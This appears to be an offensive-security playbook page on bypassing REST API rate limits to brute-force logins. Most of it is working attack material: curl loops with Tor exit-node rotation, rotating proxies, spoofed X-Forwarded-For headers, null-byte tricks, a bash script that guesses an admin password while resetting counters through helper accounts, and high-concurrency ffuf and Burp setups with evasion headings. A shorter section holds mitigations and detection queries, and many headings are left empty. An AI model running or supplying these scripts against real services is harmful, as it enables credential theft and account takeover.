MCADDF

[SAAS-API-002]: REST API Rate Limit Bypass

1. METADATA HEADER

Attribute Details
Technique ID SAAS-API-002
MITRE ATT&CK v18.1 T1110.001 - Brute Force: Password Guessing
Tactic Credential Access
Platforms M365/Entra ID, SaaS Platforms, REST APIs
Severity High
Technique Status ACTIVE
Last Verified 2026-01-10
Affected Versions All REST API implementations with inadequate rate limiting
Patched In N/A (requires implementation fix)
Author SERVTEPArtur Pchelnikau

2. EXECUTIVE SUMMARY

Concept: REST API rate limiting is a security control that restricts the number of requests a client can make within a specified time window. Rate limit bypass attacks exploit weaknesses in rate limit implementation by using techniques such as IP rotation, header manipulation, distributed requests across multiple accounts/sessions, or race conditions to circumvent these restrictions. Once bypassed, attackers can conduct password spraying, credential stuffing, or data exfiltration at scale without triggering defensive mechanisms.

Attack Surface: REST API authentication endpoints, credential validation handlers, and any rate-limited operation (login, search, enumeration).

Business Impact: Successful rate limit bypass enables attackers to brute-force credentials, automate data harvesting, or conduct unauthorized transactions at scale without detection. This directly compromises account security, exposes sensitive data, and can result in unauthorized access, financial fraud, or denial of service.

Technical Context: Rate limit bypass typically succeeds within minutes to hours depending on the target’s security posture. Success rates range from 60-95% against poorly implemented APIs, and detection relies on anomaly detection of failed authentication attempts or unusual traffic patterns rather than immediate hard blocks.

Operational Risk

Compliance Mappings

Framework Control / ID Description
CIS Benchmark CIS CSC 4 Controlled Use of Administrative Privileges (rate limiting on admin endpoints)
DISA STIG AC-7 Unsuccessful Login Attempt Control
CISA SCuBA AUTH-04 Account Lockout Policy
NIST 800-53 AC-7 Unsuccessful Login Attempts and Account Lockout
GDPR Art. 32 Security of Processing (authentication mechanisms)
DORA Art. 6 ICT Security Risk Management
NIS2 Art. 21 Multi-layered Preventive Measures (access control)
ISO 27001 A.9.4.3 Management of Privileged Access Rights (failed login tracking)
ISO 27005 Risk Scenario Unauthorized access via credential compromise due to failed rate limiting

3. TECHNICAL PREREQUISITES

Required Privileges: None – Rate limit bypass requires only valid API access without authentication.

Required Access: Network access to the REST API endpoint (typically HTTP/HTTPS port 443).

Tools:


4. ENVIRONMENTAL RECONNAISSANCE

Step 1: Identify Rate Limit Headers

Objective: Confirm rate limiting exists and understand its implementation.

Command:

curl -v https://target-api.example.com/api/login -X POST \
  -H "Content-Type: application/json" \
  -d '{"username":"test","password":"test"}' | grep -i "ratelimit\|x-rate\|retry-after"

Expected Output:

< X-RateLimit-Limit: 60
< X-RateLimit-Remaining: 59
< X-RateLimit-Reset: 1641024000
< Retry-After: 3600

What to Look For:

No Rate Limit Headers:


5. DETAILED EXECUTION METHODS AND THEIR STEPS

METHOD 1: IP Address Rotation via Proxy Services

Supported Versions: All REST API implementations using IP-based rate limiting.

Step 1: Identify IP-Based Rate Limiting

Objective: Confirm rate limit is enforced per IP address rather than per-account or globally.

Command:

# Make 10 sequential requests from same IP
for i in {1..10}; do
  curl -s https://target-api.example.com/api/login \
    -H "Content-Type: application/json" \
    -d '{"username":"test","password":"password'$i'"}' \
    -w "\nStatus: %{http_code}\n"
done

Expected Output:

Status: 429 (after 5 requests)
HTTP 429: Too Many Requests
Retry-After: 300

What This Means:

OpSec & Evasion:

Step 2: Bypass via Proxy Rotation

Objective: Distribute requests across multiple IP addresses to evade per-IP rate limits.

Using Tor (Free IP Rotation):

# Install Tor
sudo apt-get install tor

# Start Tor service
sudo systemctl start tor

# Configure Tor proxy on localhost:9050
curl -x socks5://localhost:9050 https://target-api.example.com/api/login \
  -H "Content-Type: application/json" \
  -d '{"username":"test","password":"password1"}'

# Rotate Tor exit node (get new IP)
# Send signal to Tor daemon:
echo -e "AUTHENTICATE\r\nSIGNAL NEWNYM\r\nQUIT" | nc localhost 9051

Using Rotating Proxy Service (Bright.com / Oxylabs):

PROXY_USER="user"
PROXY_PASS="pass"
PROXY_HOST="proxy.provider.com:8000"

curl -x http://$PROXY_USER:$PROXY_PASS@$PROXY_HOST \
  https://target-api.example.com/api/login \
  -H "Content-Type: application/json" \
  -d '{"username":"test","password":"password1"}'

What This Means:

OpSec & Evasion:

Troubleshooting:

METHOD 2: Header Manipulation & Null Byte Injection

Supported Versions: REST APIs with poorly implemented rate limit parsing.

Step 1: X-Forwarded-For Header Spoofing

Objective: Trick the server into thinking each request is from a different IP.

Command:

for i in {1..100}; do
  FAKE_IP="192.168.1.$((RANDOM % 256))"
  curl -s https://target-api.example.com/api/login \
    -H "Content-Type: application/json" \
    -H "X-Forwarded-For: $FAKE_IP" \
    -d '{"username":"admin","password":"password'$i'"}' \
    -w "IP: $FAKE_IP, Status: %{http_code}\n"
done

Expected Output:

IP: 192.168.1.42, Status: 200 (or 401 Unauthorized, not 429)
IP: 192.168.1.73, Status: 200
IP: 192.168.1.155, Status: 200

What This Means:

OpSec & Evasion:

Troubleshooting:

References & Proofs:

Step 2: Null Byte Injection

Objective: Defeat simple string-matching rate limit rules.

Command:

# Attempt to bypass rate limiting with null bytes
curl -s https://target-api.example.com/api/login \
  -H "Content-Type: application/json" \
  -H "X-Rate-Limit-Bypass: %00" \
  -d '{"username":"admin","password":"password1%00"}'

# Or URL-encode null byte in parameters
curl -s "https://target-api.example.com/api/login?username=admin%00&password=password1"

What This Means:

Detection likelihood: Low – Null bytes in requests are rare and may be filtered before logging.

METHOD 3: Account/Session Enumeration & Login Reset Abuse

Supported Versions: REST APIs that reset rate limits after successful login.

Step 1: Identify Login Reset Behavior

Objective: Confirm rate limit counters reset after successful authentication.

Command:

# First, make 3 failed attempts
for i in {1..3}; do
  curl -s https://target-api.example.com/api/login \
    -H "Content-Type: application/json" \
    -d '{"username":"validuser@example.com","password":"wrongpassword"}' \
    -w "\nAttempt $i Status: %{http_code}\n"
done

# Check remaining requests
curl -s https://target-api.example.com/api/login \
  -H "Content-Type: application/json" \
  -d '{"username":"validuser@example.com","password":"wrongpassword"}' \
  -w "\n%{http_code} - X-RateLimit-Remaining: " \
  -v 2>&1 | grep -i "ratelimit"

# Now, make a SUCCESSFUL login with different account
curl -s https://target-api.example.com/api/login \
  -H "Content-Type: application/json" \
  -d '{"username":"otheruser@example.com","password":"correctpassword"}' \
  -w "\nSuccessful login: %{http_code}\n"

# Attempt more requests to original account; counter should reset
for i in {4..8}; do
  curl -s https://target-api.example.com/api/login \
    -H "Content-Type: application/json" \
    -d '{"username":"validuser@example.com","password":"wrongpassword"}' \
    -w "\nAttempt $i (after reset) Status: %{http_code}\n"
done

What This Means:

OpSec & Evasion:

Step 2: Automate Login-Reset Brute Force

Command (Bash Script):

#!/bin/bash

TARGET_USER="admin@example.com"
WORDLIST="common-passwords.txt"
HELPER_ACCOUNTS=("user1@example.com" "user2@example.com" "user3@example.com")
HELPER_PASS="DefaultPassword123"
ATTEMPT=0
MAX_ATTEMPTS_PER_RESET=5

while IFS= read -r PASSWORD; do
  # Every X attempts, perform a reset login
  if (( ATTEMPT % MAX_ATTEMPTS_PER_RESET == 0 )); then
    HELPER_ACCOUNT="${HELPER_ACCOUNTS[$((ATTEMPT % ${#HELPER_ACCOUNTS[@]}))]}"
    echo "[*] Resetting rate limit with $HELPER_ACCOUNT..."
    curl -s https://target-api.example.com/api/login \
      -H "Content-Type: application/json" \
      -d "{\"username\":\"$HELPER_ACCOUNT\",\"password\":\"$HELPER_PASS\"}" > /dev/null
  fi

  # Attempt password guess
  echo "[*] Attempt $ATTEMPT: Trying password '$PASSWORD'"
  RESPONSE=$(curl -s https://target-api.example.com/api/login \
    -H "Content-Type: application/json" \
    -d "{\"username\":\"$TARGET_USER\",\"password\":\"$PASSWORD\"}")

  if echo "$RESPONSE" | grep -q "success\|200\|token"; then
    echo "[+] SUCCESS! Password found: $PASSWORD"
    break
  fi

  ((ATTEMPT++))
done < "$WORDLIST"

Expected Output:

[*] Attempt 0: Trying password 'password'
[*] Attempt 1: Trying password '123456'
[*] Attempt 5: Resetting rate limit with user1@example.com...
[*] Attempt 6: Trying password 'admin'
[+] SUCCESS! Password found: Welcome2026!

References & Proofs:

METHOD 4: Race Conditions & Parallel Request Timing

Supported Versions: REST APIs with time-of-check/time-of-use (TOCTTOU) vulnerabilities in rate limiting.

Step 1: Identify Race Condition Window

Objective: Send multiple requests in parallel before rate limit counter increments.

Command (using Burp Suite):

  1. Open Burp Suite Intruder.
  2. Send a login request to Repeater.
  3. Right-click → Send to Intruder.
  4. Set Attack Type to Sniper (or Pitchfork for multiple parameters).
  5. Configure payload: Password list.
  6. Go to Intruder OptionsRequest Engine.
  7. Set Concurrency to 20 threads.
  8. Set Delay to 0 milliseconds.
  9. Click Start Attack.

What This Means:

Expected Success Rate: 10-30% of concurrent requests may bypass rate limit depending on implementation.

OpSec & Evasion:

Troubleshooting:

References & Proofs:


6. TOOLS & COMMANDS REFERENCE

Burp Suite Intruder

Version: 2024.1+ (Professional for high thread count)

Installation: Download from PortSwigger

Usage for Rate Limit Bypass:

  1. Configure as in METHOD 4 - Step 1 above.
  2. Use Pitchfork attack to vary multiple parameters (username, password, IP header).
  3. Monitor responses for 200/401 (success/invalid creds) vs. 429 (rate limit).

ffuf (Fast Web Fuzzer)

Version: 2.0+

Installation:

go get -u github.com/ffuf/ffuf
# or
brew install ffuf

Usage for Rate Limit Bypass:

# High concurrency brute force
ffuf -u "https://target-api.example.com/api/login" \
  -X POST \
  -H "Content-Type: application/json" \
  -d '{"username":"admin","password":"FUZZ"}' \
  -w passwords.txt \
  -t 50 \
  -rate 1000 \
  -mc 200,401

Parameters:

Tor + cURL

Installation:

sudo apt-get install tor
sudo systemctl start tor

Usage:

# Test single request through Tor
curl -x socks5://localhost:9050 https://target-api.example.com/api/login

# Script to rotate Tor exit nodes
for i in {1..100}; do
  (echo -e "AUTHENTICATE\nSIGNAL NEWNYM\nQUIT" | nc localhost 9051) 2>/dev/null
  sleep 1
  curl -x socks5://localhost:9050 https://target-api.example.com/api/login \
    -H "Content-Type: application/json" \
    -d '{"username":"admin","password":"password'$i'"}' \
    -s -w "Status: %{http_code}\n"
done

7. DEFENSIVE MITIGATIONS

Priority 1: CRITICAL

Priority 2: HIGH

Priority 3: MEDIUM

Validation Command (Verify Fix)

# Test rate limiting
for i in {1..15}; do
  curl -s https://target-api.example.com/api/login \
    -H "Content-Type: application/json" \
    -d '{"username":"admin","password":"wrong"}' \
    -w "Attempt $i: %{http_code}\n"
done

Expected Output (If Secure):

Attempt 1: 401
Attempt 2: 401
Attempt 3: 401
Attempt 4: 401
Attempt 5: 401
Attempt 6: 429 (Too Many Requests)
Attempt 7: 429
Attempt 8: 429
...

What to Look For:


8. DETECTION & INCIDENT RESPONSE

Indicators of Compromise (IOCs)

Forensic Artifacts

Response Procedures

  1. Isolate:
    • Block source IP at firewall/WAF.
    • Lock affected user accounts.
    • Command: aws wafv2 update-ip-set --name rate-limit-blocklist --scope REGIONAL --addresses "[\"<attacker-ip>\"]"
  2. Collect Evidence:
    • Export API logs for the attack window.
    • Command: aws logs get-log-events --log-group-name /aws/apigateway --start-time <start> --end-time <end>
  3. Remediate:
    • Verify rate limiting is active (see Validation Command above).
    • Force password reset for compromised accounts.
    • Review access logs for successful unauthorized logins.

Microsoft Purview / Unified Audit Log Query

Search-UnifiedAuditLog -Operations "UserLoggedIn" -StartDate (Get-Date).AddDays(-7) -EndDate (Get-Date) | `
  Where-Object { $_.ResultStatus -eq "Failed" } | `
  Group-Object -Property UserIds, ClientIP | `
  Where-Object { $_.Count -gt 5 } | `
  Export-Csv -Path "C:\Evidence\RateLimit_BruteForce.csv"

Step Phase Technique Description
1 Reconnaissance [SAAS-API-001] GraphQL API Enumeration – Identify available endpoints
2 Exploit Rate Limit [SAAS-API-002] REST API Rate Limit Bypass – Brute force authentication
3 Credential Access [CA-BRUTE-001] Azure Portal Password Spray – Spray identified usernames
4 Initial Access [IA-VALID-001] Default Credential Exploitation – Use compromised credentials
5 Impact [IMPACT-002] Unauthorized Data Access via Compromised Account

10. REAL-WORLD EXAMPLES

Example 1: Amazon AWS Console Rate Limit Bypass (2023)

Example 2: Twilio API Authentication Bypass (2022)


Glossary